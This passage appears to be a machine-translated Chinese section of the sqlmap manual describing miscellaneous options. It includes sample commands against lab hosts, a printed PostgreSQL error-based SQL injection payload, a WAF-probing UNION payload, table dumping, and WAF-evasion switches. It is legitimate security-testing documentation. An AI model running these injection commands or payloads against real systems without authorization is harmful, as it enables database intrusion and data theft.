DBMS身份验证凭据
选项: --dbms-cred
在某些情况下,将警告用户某些操作由于缺少当前的DBMS用户权限而失败,并且他可以尝试使用此选项。在那些情况下,如果他admin
通过使用此选项向sqlmap 提供用户凭据,则sqlmap将尝试OPENROWSET
使用那些凭据通过专门的“运行方式”机制(例如,在Microsoft SQL Server上)重新运行有问题的部分。
转储数据的格式
选项: --dump-format
的SqlMap支持三种不同类型的存储所倾倒时表数据转换成相应的文件的输出目录内格式化的:CSV
,HTML
和SQLITE
。默认值是CSV
,其中每个表行都逐行存储到文本文件中,并且每个条目都以逗号分隔,
(或带有option的条目--csv-del
)。在的情况下HTML
,输出将存储到HTML文件中,其中每一行均以格式化表格内的一行表示。在的情况下SQLITE
,输出将存储到SQLITE数据库中,原始表内容将被复制到具有相同名称的对应表中。
用于数据检索的强制字符编码
选项: --encoding
为了正确解码字符数据,sqlmap使用Web服务器提供的信息(例如HTTP标头Content-Type
)或来自第三方库chardet的启发式结果。
但是,在某些情况下,必须重写此值,尤其是在检索包含国际非ASCII字母(例如--encoding=GBK
)的数据时。必须注意的是,由于存储的数据库内容与目标端使用的数据库连接器之间的隐式不兼容,字符信息可能会不可逆转地丢失。
预计到达时间
开关: --eta
可以实时计算并显示估计的到达时间,以检索每个查询输出。当用于检索输出的技术是任何盲SQL注入类型时,将显示此信息。
针对仅受基于布尔的盲SQL注入影响的Oracle目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19
然后:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
如您所见,sqlmap首先计算查询输出的长度,然后估计到达时间,以百分比显示进度并计算检索到的输出字符数。
刷新会话文件
选项: --flush-session
由于您已经从上面的描述熟悉了会话文件的概念,因此很高兴知道可以使用option刷新该文件的内容--flush-session
。这样,您可以避免在sqlmap中默认实现的缓存机制。其他可能的方法是手动删除会话文件。
解析和测试表单的输入字段
开关: --forms
假设您要针对大型注入形式的 SQL注入进行测试,或者要测试登录绕过(通常只有两个输入字段,例如username和password),则可以将请求传递到sqlmap中的请求文件(-r
)中,设置为相应地发布数据(--data
)或让sqlmap为您完成!
上面提到的两个实例以及许多其他实例都在HTML响应正文中显示为 <form>
和 <input>
标记,这就是该开关起作用的地方。
提供sqlmap --forms
以及可在其中找到该表单的页面作为目标URL(-u
),并且sqlmap将为您请求目标URL,解析其拥有的表单并指导您测试这些表单输入字段上的SQL注入(参数),而不是提供的目标网址。
忽略存储在会话文件中的查询结果
开关: --fresh-queries
由于您已经从上面的描述熟悉了会话文件的概念,因此很高兴知道可以使用option忽略该文件的内容--fresh-queries
。这样,您可以使会话文件保持不变,并且对于选定的运行,避免恢复/还原查询输出。
使用DBMS十六进制函数进行数据检索
开关: --hex
在丢失情况下,非ASCII数据的检索需要特殊的需求。解决该问题的一种方法是使用DBMS十六进制函数。通过此开关打开,数据将在检索之前编码为十六进制格式,然后再未编码为原始格式。
针对PostgreSQL目标的示例:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
自定义输出目录路径
选项: --output-dir
默认情况下,sqlmap将会话和结果文件存储在子目录中output
。如果您想使用其他位置,则可以使用此选项(例如--output-dir=/tmp
)。
从响应页面解析DBMS错误消息
开关: --parse-errors
如果将Web应用程序配置为调试模式,以便在HTTP响应中显示后端数据库管理系统错误消息,则sqlmap可以为您解析并显示它们。
这对于调试目的很有用,例如了解为什么某个枚举或接管开关不起作用-这可能与会话用户的权限有关,在这种情况下,您会看到一行类似的DBMS错误消息Access denied for user <SESSION USER>
。
针对Microsoft SQL Server目标的示例:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
--parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the
timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]
预处理响应数据
选项 --preprocess
使用此选项,可以将预处理脚本用于(HTTP)响应数据,然后再由sqlmap检测引擎使用(例如,解码数据或删除垃圾)。例如,将所有小写字母转换为大写字母的预处理脚本可以是:
#!/usr/bin/env python
def preprocess(page, headers=None, code=None):
return page.upper() if page else page, headers, code
将选项保存在配置INI文件中
选项: --save
可以将命令行选项保存到配置INI文件中。然后可以编辑生成的文件,并使用上述-c
选项将其传递到sqlmap 。
更新sqlmap
开关: --update
使用此选项,您可以直接从Git存储库将工具更新为最新的开发版本。您显然需要Internet访问。
如果由于某种原因该操作失败,请git pull
从sqlmap工作副本运行。它将执行与switch完全相同的操作--update
。如果在Windows上运行sqlmap,则可以使用SmartGit客户端。
在向邮件列表报告任何错误之前,强烈建议这样做。
杂
使用短助记符
选项: -z
键入所有所需的选项和开关可能变得很乏味,尤其是对于那些最常用的选项和开关(例如 --batch --random-agent --ignore-proxy --technique=BEU
)。解决这个问题有一种更简单,更短的方法。在sqlmap中,它称为“助记符”。
可以使用option以较短的助记符形式编写每个选项和开关-z
,并用逗号(,
)分隔,其中助记符仅代表原始名称的第一个任意选择的部分。没有对选项和切换到它们各自缩短的对应项的严格映射。唯一需要的条件是没有其他选项和开关具有与所需选项相同的前缀。
例:
$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"
可以用较短的助记符形式(多种方式之一)编写,例如:
$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"
另一个例子:
$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"
可以用较短的助记符形式编写,例如:
$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"
在成功检测到SQL注入时发出警报
选项: --alert
设置问题答案
选项: --answers
如果用户希望自动设置问题的答案(即使--batch
使用了答案),则使用此选项,他可以通过在等号后提供问题的任何部分以及答案来实现。另外,可以用定界符来分隔不同问题的答案,
。
针对MySQL目标的示例:
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]
找到SQL注入时发出提示音
开关: --beep
如果用户使用switch --beep
,当发现SQL注入时,将立即通过蜂鸣声警告他。当有大量-m
要测试的目标URL 列表(选项)时,此功能特别有用。
从sqlmap特定的UDF和表中清除DBMS
开关: --cleanup
sqlmapoutput
当您完成了基础操作系统或文件系统的接管工作后,建议从sqlmap临时表(例如)中清理后端数据库管理系统,并创建用户定义的函数。Switch --cleanup
将尝试尽可能清理DBMS和文件系统。
检查依赖项
开关: --dependencies
在某些特殊情况下,sqlmap需要独立安装额外的第三方库(例如,选项-d
,--os-pwn
在icmpsh
隧道情况下进行切换,--auth-type
在NTLM
HTTP身份验证类型情况下进行选择等),并且仅在此类特殊情况下才会警告用户。但是,如果您要独立检查所有这些额外的第三方库依赖关系,则可以使用switch --dependencies
。
$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/
禁用控制台输出着色
开关: --disable-coloring
默认情况下,sqlmap在写入控制台时使用着色。如果出现不良效果(例如,控制台外观出现未解释的ANSI着色代码,例如\x01\x1b[0;32m\x02[INFO]
),则可以使用此开关禁用控制台输出颜色。
使用指定页码的Google dork结果
选项: --gpage
带有选项的默认sqlmap行为-g
是进行Google搜索,并使用结果的前100个URL进行进一步的SQL注入测试。但是,结合使用此选项,您可以使用此选项(--gpage
)指定除第一个页面之外的其他页面以从中检索目标URL。
使用HTTP参数污染
开关: --hpp
HTTP参数污染(HPP)是一种绕过WAF / IPS保护机制(在此说明)的方法,该机制对ASP / IIS和ASP.NET/IIS平台特别有效。如果您怀疑目标位于此类保护的后面,则可以尝试使用此开关绕过目标。
对WAF / IPS保护进行通过测试
开关: --identify-waf
sqlmap可以尝试识别后端WAF / IPS保护(如果有),以便用户可以执行适当的步骤(例如,将篡改脚本与一起使用--tamper
)。当前支持大约30种不同的产品(气锁,梭子鱼WAF等),并且可以在waf
目录中找到它们各自的WAF脚本。
针对受ModSecurity WAF保护的MySQL目标的示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS protection
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'USP Secure Entry Server (Un
ited Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Hyperguard Web Application
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Cisco ACE XML Gateway (Cisc
o Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'TrafficShield (F5 Networks)
'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'KONA Security Solutions (Ak
amai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Incapsula Web Application F
irewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'CloudFlare Web Application
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Barracuda Web Application F
irewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Proventia Web Application S
ecurity (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Jiasule Web Application Fir
ewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'WebKnight Application Firew
all (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'ModSecurity: Open Source We
b Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IPS identified 'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
-tamper')
[...]
跳过启发式检测WAF / IPS保护
开关: --skip-waf
默认情况下,sqlmap自动在启动请求之一内发送一个虚拟参数值,该参数值包含有意的“可疑” SQL注入有效负载(例如...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1
)。如果目标的响应与原始请求的响应不同,则很有可能受到某种保护。如有任何问题,用户可以通过提供switch禁用此机制--skip-waf
。
模仿智能手机
开关: --mobile
有时,Web服务器与台式机相比,面向移动电话的界面不同。在这种情况下,您可以强制使用预定的智能手机HTTP User-Agent标头值之一。通过使用此开关,sqlmap将要求您选择在当前运行中将模仿的流行智能手机之一。
示例运行:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
在离线模式下工作(仅使用会话数据)
开关: --offline
通过使用开关,--offline
sqlmap将仅在数据枚举中使用以前的会话数据。这基本上意味着在此运行期间将进行零次连接尝试。
从数据目录中安全删除所有内容
开关 --purge
如果用户决定安全地从sqlmap的数据目录(例如$HOME/.sqlmap
)中删除所有内容,其中包含先前sqlmap运行中的所有目标详细信息,则可以使用switch--purge
。清除时,数据文件夹中(子)目录中的所有文件将被随机数据覆盖,被截断,重命名为随机名称,(子)目录也将重命名为随机名称,最后整个目录树将被删除。
示例运行:
$ python sqlmap.py --purge -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]
仅在启发式为正的情况下进行测试
开关 --smart
在某些情况下,用户拥有大量潜在的目标URL(例如,带有option -m
),而他想尽快找到易受攻击的目标。如果切换--smart
,则只会在扫描中进一步使用可引起DBMS错误的参数。否则,它们将被跳过。
通过有效载荷和/或标题选择(或跳过)测试
选项 --test-filter
如果要按测试的有效负载和/或标题过滤测试,可以使用此选项。例如,如果要测试所有ROW
内部有关键字的有效负载,可以使用--test-filter=ROW
。
选项 --test-skip=TEST
如果要按测试的有效负载和/或标题跳过测试,可以使用此选项。例如,如果要跳过所有BENCHMARK
内部有关键字的有效负载,可以使用--test-skip=BENCHMARK
。
面向初学者的简单向导界面
开关: --wizard
对于初学者,有一个向导界面,该界面使用简单的工作流程,且问题尽可能少。如果用户仅输入目标URL并使用默认答案(例如,通过按Enter
),则在工作流结束之前,他应该具有正确设置的sqlmap运行环境。